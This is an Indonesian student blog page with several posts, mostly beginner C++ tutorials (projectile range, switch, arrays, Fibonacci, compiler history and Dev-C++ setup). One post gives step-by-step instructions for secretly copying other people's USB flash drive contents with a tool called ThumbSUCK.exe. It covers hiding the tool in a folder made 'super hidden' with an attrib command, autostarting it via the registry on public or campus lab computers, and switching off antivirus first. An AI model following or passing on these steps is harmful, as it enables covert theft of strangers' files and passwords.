"SECRET LAB ZONE"

LEBIH BANYAK EMAS YANG DIAMBIL DARI OTAK MANUSIA, DARIPADA EMAS YANG DIAMBIL DARI TANAH

Castlevania Red Pointer
English French German Spain Italian Dutch Russian Portuguese Japanese Korean Arabic Chinese Simplified
Banner Maker
IT ZONE : PROGRAMER RECOMMENDED

Senin, 12 November 2012

Menghitung Jarak Jatuh Peluru (C++)

Diposting oleh EO


Tutorial C++ kali ini adalah menghitung jarak jatuh peluru yang ditembakkan dari suatu lokasi. Mungkin kalian sudah pernah mendengar hal sejenis ini dalam pelajaran Fisika. Peluru yang ditembakkan pada sudut tertentu mempunyai gerak parabola. Jadi kita akan mendapatkan jarak dari titik lempar ke titik jatuh. Jarak inilah yang akan sekarang kita hitung menggunakan bahasa pemrograman C++.


Apabila kalian menemukan soal, Carilah jarak jatuh peluru yang ditembakkan pada suatu lokasi dengan sudut penembakan (α) dan kecepatan (Vo). Maka kita mendiskusikannya disini. Untuk mencari jarak, kita membutuhkan beberapa variabel diantaranya: sudut, kecepatan, rad, dan jarak. Selain itu, kita juga membutuhkan PHI dan GRAVITASI. Dengan mempelajari ini, kita juga akan mengetahui fungsi matematika baru, yaitu cos(), sin(), dan pow().

Fungi pow() digunakan untuk mencari nilai XY. Penggunaan fungsi pow() sebagai berikut: pow(sisi, 3) artinya, sisi x sisi x sisi. Sisi adalah variabel, diikuti dengan jumlah pangkatnya.

Anggap jarak adalah X, maka rumusnya adalah sebagai berikut:

X = Vo2 x Sin(2α) / g

yang harus diingat adalah pelajaran trigonometri bahwa nilai sin 2a = 2.sin a.cos a

maka:

X = 2 x Vo2 x Sin(α) x Cos(α) / g

dengan g = gravitasi = 9,8



Sumber:
http://world-of-programmer.blogspot.com/2010/03/menghitung-jarak-jatuh- peluru-dengan-c.html
- http://blog.uad.ac.id/fiskahardiana/2011/12/14/gerak-parabola/

Jumat, 09 November 2012

Mencuri data FLASHDISK orang lain (Not recommended)

Diposting oleh EO


   FlashDISK merupakan media penyimpanan portable yang kini makin banyak digunakan oleh para pengguna komputer di Indonesia. Selain harganya yang makin murah,  kapasitasnya pun kian besar dengan ukuran fisik yang kian mini dari generasi ke generasi.

   Nah, biasanya nich, orang seringkali akan menyimpan data-data sensitifnya di dalam flashdisk. Dan tak jarang, seseorang menyimpan PASSWORD account-accountnya pada suatu file teks yang disimpan dalam FlashDISK.

    Anda mengincar target yang demikian? caranya cukup mudah. Alat dan bahan yang perlu anda persiapkan adalah  ThumbSUCK.exe

Password .rar:   secretlab-zone.blogspot.com

    Setelah anda mendownloadnya, copy ThumbSUCK.exe kedalam suatu directory tersembunyi. Misalnya saja anda letakkan di Local Drive D:\. Buatlah suatu directory dengan atribut SUPER HIDDEN agar korban tidak curiga. Ikuti panduan berikut:

    Buatlah directory baru di D:\ atau dimanapun anda suka. Beri nama terserah anda.  Pada contoh ini  saya beri nama gudangkorban. Salinlah ThumbSUCK.exe kedalam directory tersebut lalu klik 2X untuk menjalankannnya.
   
Klik Start - Run lalu ketik cmd untuk memanggil Windows Command Processor

   Kini saatnya menjadikan directory tersebut menjadi super hidden. Gunakan saja perintah attrib dengan format attrib lokasifolder +s +h. Karena nama  directory yang tadi dibuat adalah gudangkorban yang terletak di drive D:\ maka   ketik: 

attrib d:\gudangkorban +s +h

lalu tekan ENTER.

     Selesai sudah..  kini cobalah  anda tancapkan sendiri FlashDISK anda. Data-data  anda yang berada didalam FlashDISK akan disalin dengan silent mode oleh ThumbSUCK.exe kedalam directory  gudangkorban  di  suatu folder dengan nama   sesuai dengan volume label Flashdisk.

      Karena  directory  gudangkorban  diberi   atribut super hidden, maka hilangkan  terlebihdahulu tanda centang pada opsi Hide Protected Operating System Files (Recomended) dan beri centang pada Show Hidden Files and Folders di Folder Options (Tools -> Folder Options pada Windows Explorer).

    Untuk mendisable aplikasi ini, gunakan Windows TaskManager (CTRL-ALT-DELETE) atau gunakan saja TaskMANAGER kesayangan anda.

    Bagaimana jika ditanam di komputer public? atau ditanam di lab-lab kampus? Hmm.. dengan sedikit beramain-main Registry, anda dapat membuat aplikasi ini otomatis berjalan ketika windows startup ;p hehehe.. tentunya anda bisa panen data pribadi orang lain ^_^

NB: Beberapa antivirus mungkin akan mendeteksi ThumbSUCK.exe sebagai malware, maka sebelum beraktifitas dengan ThumbSUCK.exe, lebih baik MATIKAN dulu antivirusnya, ok. + Gunakan dengan BIJAK, bagaimanapun pencuri tetaplah pencuri, dosa.


Kamis, 08 November 2012

Modul Pembelajaran Algoritma dan Pascal

Diposting oleh EO


Aduh-aduh.....
Belum dipelajari sedikitpun tentang PASCAL udah langsung tugas buat program, puyeng ne kepala, belum lagi banyak QUIZ menanti, tapi ya mau gimana lagi, tugas dari dosen wajib dikerjakan, meskipun gak di isi ya cukup setaunya aja yang di isi, gak tau SEMUAAA??? gak mungkin kan....

Nih saya share Modul pembelajaran ALGORITMA dan BAHASA PEMPROGRAMAN oleh dosen saya Bpk. Taufik bersumber dari web beliau di http://taufiksaja.info.tm.

Download Modul pembelajaran ALGORITMA dan PASCAL.pdf (337 kb)


Info khusus: 
Bagi teman-teman IT 1B STKIP Sumenep, materinya yaitu dari modul 2 hingga modul 4, tugasnya ada pada bagian akhir setiap modul, hanya saja, kita cukup punya tugas di modul 2 dan modul 4, modul 3 gimana??? gak tau juga tuh, gak ada tugasnya...
Bagi yang belum selesai tugasnya, saya belum selesai juga kawan....insyaallah kalau saya sudah, akan langsung saya share disini, . . .

Rabu, 07 November 2012

Kalkulator Sederhana C++

Diposting oleh EO



Hmm......tugas dari dosen, udah......
Meski belum ngerti maksud source kodenya (maklum, tugasnya berhubungan dengan fisika + hasil copas), jadi mau saya tanyakan saat jam kuliah aja...

Iseng-iseng deh sekarang saya coba buat project kecil-kecilan, ketimbang gak ada kerjaan juga kan, lebih baik digunakan untuk praktisi project meskipun project culun, "Simple calculator using C++", namanya juga kecil-kecilan jadi mungkin kalkulator ini untuk anak TK aja deh, wkwkwkw.

Untuk program kali ini, sourcenya (tanpa fungsi tertentu) saya sertakan dalam programnya LANGSUNG.
Untuk membuka akses menuju source, diperlukan data ADMIN dan PASSWORD. Data itu sudah saya  sertakan dalam file .rar-nya, jadi biasakanlah jika mengekstrak .rar jangan asal maen klik kanan lalu "ekstrak here", tapi masuk dulu ke winRARnya, dan liat info data yang ada, ok.

Download Simple calculator using C++ (107 kb)



Senin, 05 November 2012

Perkalian Matrix 3x3 di C++

Diposting oleh EO

Kali ini saya mau share materi "Algoritma dan Pemrograman" , tentang perkalian matriks 3x3. Di kampus saya (STKIP PGRI Sumenep) mendapatkan tugas tentang membuat perkalian matriks, saya binggung untuk membuatnya. Akhirnya saya memutuskan untuk cari-cari di mbah google (hehehe ^_^), setelah sekian lama belum ketemu juga akhirnya saya menemukan contoh yang saya cari. kemudian saya buat programnya , nah langsung aja yang gak sabar liat sintaks program di bawah ini.




Jumat, 02 November 2012

Foxit Reader 5.1.4

Diposting oleh EO


Foxit reader adalah software untuk membuka file PDF (Portable Document Format), sebenarnya fungsinya sama saja seperti Adobe reader, tapi ada banyak perbedaan yang membedakan keduanya.

Mana yang lebih unggul apakah Foxit Reader atau Adobe Reader? menurut pendapat saya (Ozzie) yang paling bagus adalah Foxit Reader,mengapa demikian?
Karena Foxit Reader membutuhkan space Harddisk yang kecil , ukuran Foxit reader 5.1.4 sebelum install (mentahnya) hanya 13,8 MB dan setelah install menjadi 50 MB-an.

Lain halnya untuk Adobe reader 9.1, yang membutuhkan space disk yang banyak, untuk mentahnya saja membutuhkan ukuran 41 MB, dan setelah diinstall spacenya menjadi 300MB-an, sungguh jauh berbeda antara 50 MB-an VS 300MB-an.

Dari segi kecepatan clock prosesor keduanya mempunyai spesifikasi minimum yang sama yaitu 1.3 GHz. Kalau dilihat dari sistem minimum memori, keduanya kembali berbeda kalau Foxit minimum RAM berukuran 64 MB, sedangkan adobe reader membutuhkan RAM minimum ukuran 128 MB.

Satu lagi keunggulan dari Foxit Reader yang saya rasakan, adalah ketika membuka file PDF lebih dari satu buah file, kalau menggunakan Adobe reader pasti akan membuat taskbar komputer kita menjadi penuh, tapi kalau dibuka di Foxit reader walaupun file PDF yang dibuka banyak tapi tetap saja dibuka dalam satu tampilan saja, yang tentunya tidak memakan banyak tempat pada taskbar.

.:: Download Foxit Reader 5.1.4 (13,8Mb) GRATIS

Kelebihan lainnya dari software ini adalah tidak TRIAL, padahal ada keharusan untuk user melakukan registrasi, hehehe, mantap kan.

Semoga membantu........

Rabu, 31 Oktober 2012

Dasar C++

Diposting oleh EO


Tutorial ini untuk siapa saja, walaupun anda belum pernah melakukan pemrograman, atau jika andapun berpengalaman dalam pemrograman dengan bahasa pemrograman lain tapi ingin mempelajari bahasa C++, ada baiknya anda mengikuti penjelasan disini.

C++ adalah sebuah bahasa pemrograman yang memiliki banyak dialek, seperti bahasa orang yang banyak memiliki dialek. Dalam C++, dialek bukan disebabkan oleh karena si pembicara berasal dari Jepang atau Indonesia, melainkan karena bahasa ini memiliki beberapa kompiler yang berbeda. Ada empat kompiler umum yaitu : C++ Borland, C++ Microsoft Visual, C/386 Watcom, dan DJGPP.

Setiap kompiler ini agak berbeda. Setiap kompiler akan dapat menjalankan fungsi fungsi standar C++ ANSI/ISO, tetapi masing masing kompiler juga akan dapat menjalankan fungsi fungsi nonstandard (fungsi fungsi ini, agak mirip dengan ucapan yang tidak standar yang diucapkan orang diberbagai pelosok negeri. Sebagai contoh, di New Orleans kata median disebut neutral ground). Kadang kadang pemakaian fungsi nonstandard akan menimbulkan masalah pada saat anda hendak mengkompilasi kode sumber data (source code) (yaitu program berbahasa C++ yang ditulis oleh seorang programer) mempergunakan kompiler yang berbeda. Tutorial ini tidak terlepas dari masalah seperti itu.

Bila anda belum mempunyai sebuah kompiler, disarankan agar anda segera memiliki sebuah kompiler. Sebuah kompiler sederhana sudah cukup untuk dipergunakan oleh anda dalam mengikuti tutorial ini.
Bahasa pemrograman C++ adalah bahasa yang amat berbeda. Untuk kompiler C++ berbasis DOS, akan memerlukan beberapa kata kunci (keywords); keyword sendiri tidak cukup untuk difungsikan sebagai input dan output. Walau hampir semua fungsi dalam file library tampaknya bias diakses oleh header filenya. Coba kita lihat program sesungguhnya :


Marilah kita lihat elemen dari program diatas. Tanda #include adalah sebuah prosesor pengarah yang mengatakan kepada kompiler untukmeletakan kode dari header file iostream.h kedalam program. Dengan menyertakan header file, anda dapat mengakses banyak fungsi fungsi berbeda. Dalam contoh diatas, fungsi cout memerlukan file iostream.h.
Pada baris berikutnya yang penting adalah int main(). Baris ini mengatakan kepada kompiler bahwa ada sebuah fungsi bernama main, yang mana fungsi itu mengembalikan sebuah integer, sehingga diberi tanda int. Tanda kurung ({ dan }) menandakan awal dan akhir fungsi dalam program diatas dan menghentikan kode lainnya. Jika anda memakai bahasa Pascal, anda akan mempergunakan perintah BEGIN dan END.
Baris berikutnya dari program diatas agak aneh. Jika anda menulis sebuah program mempergunakan bahasa lain, anda akan mengetahui bahwa perintah print akan menampilkan text di layar monitor. Dalam bahasa C++ tidaklah demikian, pemakaian fungsi cout dipakai untuk menampilkan text di layar monitor anda. Itu juga memakai tanda atau symbol <;<; , yang diketahui sebagai operator pemasukan ( insertion operators). Tanda tersebut mengatakan kepada kompiler agar segera menghasilkan output sesuai dengan input anda. Tanda semicolon ditambahkan kedalam bagian akhir dari semua fungsi yang dipanggil dalam bahasa C++; tanda seterusnya memperlihatkan variable yang anda deklarasikan.
Pada baris itu juga ada kode yang memerintahkan fungsi main kembali ke 0. Pada saat satu kali kembali diproses, itu dilakukan melalui system operasi. Sebagai catatan, pendeklarasian fungsi main yang tidak diinginkan memiliki proses kembali, dapa ditambahkan – void main() – dan biasanya itu berfungsi dengan baik; namun cara ini merupakan cara yang kurang baik.

Tanda kurung terakhir berperan sebagai penutup agar fungsi dihentikan. Anda bias mencobamengoperasikan fungsi ini didalam sebuah kompiler. Anda dapat melakukan cut dan paste kode diatas kedalam sebuah file, dan menyimpannya sebagai file.cpp, dan kemudian anda buka file itu dari dalam kompiler anda. Jika anda memakai baris perintah kompiler seperti yang ada dalam Turbo C++ 4.5, sebaiknya anda membaca dahulu instruksi kompiler tentang bagaimana cara melakukan kompilasi (how to compile).
Comment atau komentar sering dipakai dalam penulisan program. Ketika anda mengatakan kepada kompiler bahwa sebuah bagian dari program anda adalah tex komentar, kompiler tidak akan memasukan itu sebagai perintah pemrograman. Untuk membua sebuah komentar dipergunakan tanda //, yang mengaakan kepada kompiler bahwa baris berikut adalah komentar, atau memakai tanda /* dan kemudian diakhiri tanda */ untuk menandai bahwa segala yang ada antara kedua tanda ini adalah komentar. Beberapa kompiler akan mengubah warna area komentar, tetapi beberapa kompiler lain tidak. Berhati hatilah dalam menulis program anda agar kode program anda tidak dianggap sebagai komentar oleh kompiler karena dapat mempengaruhi output program yang anda buat.
Selanjutnya anda harus dapa menuliskan program sederhana untuk menampilkan informasi yang anda ketikan kedalamnya. Selain itu, program juga bisa dibuat untuk menerima input. Fungsi yang dipakai adalah cin, dan diikuti dengan tanda >>.

Tentu saja sebelum anda mencoba menerima input, anda harus memiliki tempat penyimpan input. Dalam pemrograman, input dan data disimpan dalam variable. Ada beberapa jenis variable. Pada saat anda ingin mengatakan kepada kompiler sebuah variable yang anda deklarasikan, anda harus menyertakan tipe data dan nama dari variable itu. Beberapa cara dasar adalah dengan menuliskan include char, int, dan float.
Sebuah variabel char menyimpan sebuah karakter tunggal; variabel int akan menyimpan integer (bukan bilangan desimal), dan variables float akan menyimpan bilangan desimal. Setiap variable – char, int, dan float – merupakan sebuah kata kunci (keyword) yang and pergunakan pada saat anda mendeklarasikan sebuah variabel. Untuk mendeklarasikan sebuah variable anda memakai syntax type . Ini diijinkan untuk mendeklarasikan variable multiple dari jenis variable yang sama pada baris yang sama; masing masing variabelnya dipisahkan dengan tanda koma. Deklarasi sebuah variable atau sekelompok variabel dapat diikuti tanda semicolon (Catatan, tanda ini sama dengan yang diterapkan pada prosedur dimana anda akan memanggil sebuah fungsi).

Jika anda tidak memakai sebuah variable yang dideklarasikan sebelumnya. program anda tidak akan dapat dioperasikan (atau di run), dan anda akan menerima pesan error yang memberitahu anda bahwa anda telah melakukan kesalahan.
Berikut adalah beberapa contoh deklarasi variable:

int x;
int a, b, c, d;
char letter;
float the_float;


Walaupun anda boleh memiliki banyak variable dengan jenis yang sama, anda tidak dapat memiliki variable dengan nama yang sama. Begitu pula anda tidak dapat memiliki variable dan fungsi dengan nama yang sama.

Dikutip dari : http://duatujuh.wordpress.com/2007/05/29/bahasan-tentang-c/

Menampilkan deret Fibonacci menggunakan C++

Diposting oleh EO


Deret Fibonacci adalah sebuah deret yang untuk suku pertama dan kedua bernilai 0 dan 1, sedangkan untuk suku ketiga dan seterusnya merupakan penjumlahan 2 suku sebelummnya, misal untuk ke-3 adalah (0+1) = 1, suku ke-4 adalah (1+1) = 2, dst.

Berikut “Source kode program untuk menampilkan Deret Fibonacci” menggunakan pemograman C++ :


Selasa, 30 Oktober 2012

Pernyataan SWITCH

Diposting oleh EO

Switch adalah pernyataan yang digunakan untuk menjalankan salah satu pernyataan dari beberapa kemungkinan pernyataan, berdasarkan nilai dari sebuah ungkapan dan nilai penyeleksi. 


Kaidah umum pernyataan switch :
switch (ungkapan)

{
case ungkapan1;
pernyataan_1;
break;

case ungkapan2;
pernyataan_2;
break; 


……….

default : /*Opsinal*/
pernyataan_x; /*Opsinal*/
}
 


Pada pernyataan switch, ungkapan dapat berupa ungkapan, konstanta ataupun variabel. Adapun ungkapan1, ungkapan2 dan seterusnya dapat berupa sembarang konstanta bertipe int atau char.


Contoh Program :



Array Satu Dimensi

Diposting oleh EO

Gambaran sebuah array ditunjukkan pada contoh program di bawah ini. Program ini meminta pemakai untuk memasukkan 5 buah data temperatur dari keyboard. Kelima data tersebut disimpan pada array bernama suhu. Selanjutnya data yang ada pada array tersebut ditampilkan ke layar.

Contoh Program : 



Tampak dari eksekusi program diatas nantinya terdapat pernyataan :

- float suhu[5]; menyatakan array suhu dapat menyimpan 5 (lima) buah data bertipe float.

- suhu[i] menyatakan elemen suhu dengan subscript sama dengan i.

- cin >> suhu[i]; membaca data dari keyboard dan meletakkan ke elemen nomor i pada array suhu.

- cout << suhu[i]; akan menampilkan elemen bernomor i pada array suhu.



Masalah Dev-C++ pada Windows Vista atau Windows 7

Diposting oleh EO



Dev-C++ yang diinstall di Windows Vista atau Windows 7 tidak dapat dipergunakan untuk meng-compile program yang sudah dibuat. Agar Dev-C++ dapat digunakan untuk meng-compile program berikut caranya 


  1. Setelah Dev-C++ terbuka, klik Tools --- Compiler Options.
  2. Pada tab Directories, tambahkan : C:\Dev-Cpp\libexec\gcc\mingw32\3.4.2
  3. Pada tab Program, tambahkan : C:\Dev-Cpp\bin\ di depan semua nama file .exe
  4. Klik OK

Path C:\Dev-Cpp harus disesuaikan dengan path di mana Dev-C++ diinstall di komputer anda.

Dikutip dari : http://ilmubiner.blogspot.com/2011/11/masalah-dev-c-pada-windows-vista-atau.html

Senin, 29 Oktober 2012

Perbedaan Turbo C, Turbo C++, Borland C++, Borland C++ Builder

Diposting oleh EO

Beberapa orang yang ingin belajar bahasa C++ terkadang bingung dengan banyaknya editor dan compiler yang ada di masyarakat. Berikut sedikit pengetahuan perbedaan editor dan compilernya.

Turbo C untuk membuat program berbahasa C sedangkan Turbo C++ untuk membuat program bahasa C++, Kedua-duanya buatan Borland.

Turbo C++ 1.0 dirilis Februari 1991 jalan di lingkungan DOS.

Turbo C++ 3.0 dirilis November 1991 jalan di lingkungan DOS yang kemudian diupdate untuk mendukung pembuatan program aplikasi untuk Ms-Windows (Turbo C++ 3.1).

Borland merilis juga Borland C++ untuk segment yang berbeda seiring dirilisnya Turbo C++ 1.0. Turbo C++ ditargetkan untuk para pemula dan hobbyist, sedangkan Borland C++ ditargetkan untuk para professional sehingga memiliki lebih banyak fitur, tool, dan kemudahan pembuatan program aplikasi. Dari sisi bahasa, Turbo C++ dengan Borland C++ masih sama.

Turbo C++ 4.0 dirilis November 1993 jalan dilingkungan Ms-Windows yang mendukung pembuatan dan pemakaian template lebih lanjut. Lalu dilanjutkan dengan Turbo C++ 4.5

Borland C++ dilanjutkan sampai Borland C++ 5.02 (1997) yang kemudian diganti dengan Borland C++ Builder yang dikembangkan sampai saat ini menjadi CodeGear C++ Builder 2009 (Dirilis Agustus 2008).

Sedangkan Turbo C++ "dihidupkan" lagi tahun 2007 yang dinamai CodeGear Turbo C++ Explorer (gratis) dan CodeGear Turbo C++ Professional (bayar) yang dibuat berbasiskan Borland C++ Builder 2006. CodeGear adalah anak perusahaan Borland.

Kemudian pada tahun 2008 CodeGear di akuisisi oleh Embarcadero dan terus mengembangkan C++ Builder. Versi yang dirilis C++ Builder 2009, 2010, XE, dan XE2 (2011).

Dengan demikian evolusi Turbo C++ adalah : Turbo C++ --> Borland C++ --> Borland C++ Builder --> CodeGear C++ Builder --> Embarcadero C++ Builder.

Bahasa C++ distandarisasi secara internasional oleh ISO/ANSI tahun 1998. Dengan demikian Turbo C++ 1.0 sampai Borland C++ 5.02 belum mengacu pada perintah-perintah ISO/ANSI C++.

Untuk membuat program C++ yang mengacu pada ISO/ANSI C++, dapat menggunakan MinGW C++ (ukuran file 6 Mb) atau Dev-C++ (ukuran file 6 MB) atau Turbo C++ Explorer (ukuran file 320Mb) atau Ms Visual C++ 2008/2010 Express Edition yang dapat di-download secara gratis dari internet.


Dikutip dari : http://ilmubiner.blogspot.com/2009/04/perbedaan-turbo-c-turbo-c-borland-c.html